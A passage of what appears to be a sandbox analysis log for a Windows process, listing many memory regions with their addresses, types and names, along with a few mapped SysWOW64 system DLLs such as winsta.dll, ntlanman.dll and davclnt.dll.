0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 479 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 480 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 481 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 482 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 483 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 484 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 485 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 486 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 487 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 488 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 489 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 490 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 491 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 492 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 493 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 494 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 495 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 496 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 497 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 498 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 499 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 500 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 501 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 502 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 503 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 504 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 505 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 509 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 510 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 511 start_va = 0x23d0000 end_va = 0x27c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 512 start_va = 0x74e40000 end_va = 0x74e47fff entry_point = 0x74e40000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 513 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 514 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 515 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 516 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 517 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 518 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 519 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 520 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 521 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 522 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 523 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 524 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 525 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 526 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 527 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 528 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 529 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 530 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 531 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 532 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 533 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 534 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 535 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 536 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 537 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 538 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 539 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 540 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 541 start_va = 0x73b80000 end_va = 0x73ba8fff entry_point = 0x73b80000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 553 start_va = 0x300000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 554 start_va = 0x5e0000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 555 start_va = 0x620000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 556 start_va = 0xa40000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 557 start_va = 0xaa0000 end_va = 0xadffff entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 558 start_va = 0xae0000 end_va = 0xb1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 559 start_va = 0x2010000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 560 start_va = 0x2080000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 561 start_va = 0x27d0000 end_va = 0x280ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 562 start_va = 0x2840000 end_va = 0x287ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 563 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 564 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 565 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 566 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 567 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 584 start_va = 0x690000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 585 start_va = 0x28b0000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Region: id = 586 start_va = 0x73b60000 end_va = 0x73b73fff entry_point = 0x73b60000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 587 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 603 start_va = 0x1fb0000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 604 start_va = 0x2a40000 end_va = 0x2a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 605 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 606 start_va = 0x28f0000 end_va = 0x29f0fff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 607 start_va = 0x2ac0000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 608 start_va = 0x2b20000 end_va = 0x2b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 609 start_va = 0x7ef92000 end_va = 0x7ef94fff entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 610 start_va = 0x2b60000 end_va = 0x2c60fff entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 611 start_va = 0x2d60000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 612 start_va = 0x2e10000 end_va = 0x2e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 613 start_va = 0x7ef8f000 end_va = 0x7ef91fff entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 614 start_va = 0x2e50000 end_va = 0x2f50fff entry_point = 0x0 region_type = private name = "private_0x0000000002e50000" filename = "" Region: id = 615 start_va = 0x2f90000 end_va = 0x2fcffff entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 616 start_va = 0x3040000 end_va = 0x307ffff entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 617 start_va = 0x3080000 end_va = 0x317ffff entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Region: id = 618 start_va = 0x7ef8c000 end_va = 0x7ef8efff entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 619 start_va = 0x3180000 end_va = 0x3280fff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 620 start_va = 0x2fe0000 end_va = 0x301ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 621 start_va = 0x3300000 end_va = 0x333ffff entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 622 start_va = 0x7ef89000 end_va = 0x7ef8bfff entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 647 start_va = 0x73b40000 end_va = 0x73b56fff entry_point = 0x73b40000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 653 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 654 start_va = 0x270000 end_va = 0x276fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 655 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 656 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 657 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 658 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 659 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 660 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 661 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 662 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 663 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 664 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 665 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 666 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 667 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 668 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 669 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 670 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 671 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 672 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 673 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 674 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 675 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 676 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 677 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 678 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 679 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 680 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 681 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 682 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 683 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 684 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 685 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 686 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 687 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 688 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 689 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 690 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 691 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 692 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 693 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 694 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 695 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 696 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 697 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 698 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 699 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 700 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 701 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 702 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 703 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 704 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 705 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 706 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 720 start_va = 0x73e60000 end_va = 0x73e67fff entry_point = 0x73e60000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 754 start_va = 0x3340000 end_va = 0x3440fff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 755 start_va = 0x3450000 end_va = 0x3550fff entry_point = 0x0 region_type = private name = "private_0x0000000003450000" filename = "" Region: id = 756 start_va = 0x3560000 end_va = 0x3660fff entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 757 start_va = 0x3670000 end_va = 0x3770fff entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 758 start_va = 0x3780000 end_va = 0x397ffff entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 759 start_va = 0x73e40000 end_va = 0x73e4efff entry_point = 0x73e40000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 760 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 761 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 762 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 763 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 764 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 765 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 766 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 767 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 768 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 769 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 770 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 771 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 772 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 773 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 774 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 775 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 776 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 777 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 778 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 779 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 780 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 781 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 782 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 783 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 784 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 785 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 786 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 787 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 788 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 789 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 790 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 791 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 792 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 793 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 794 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 795 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 796 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 797 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 798 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 799 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename 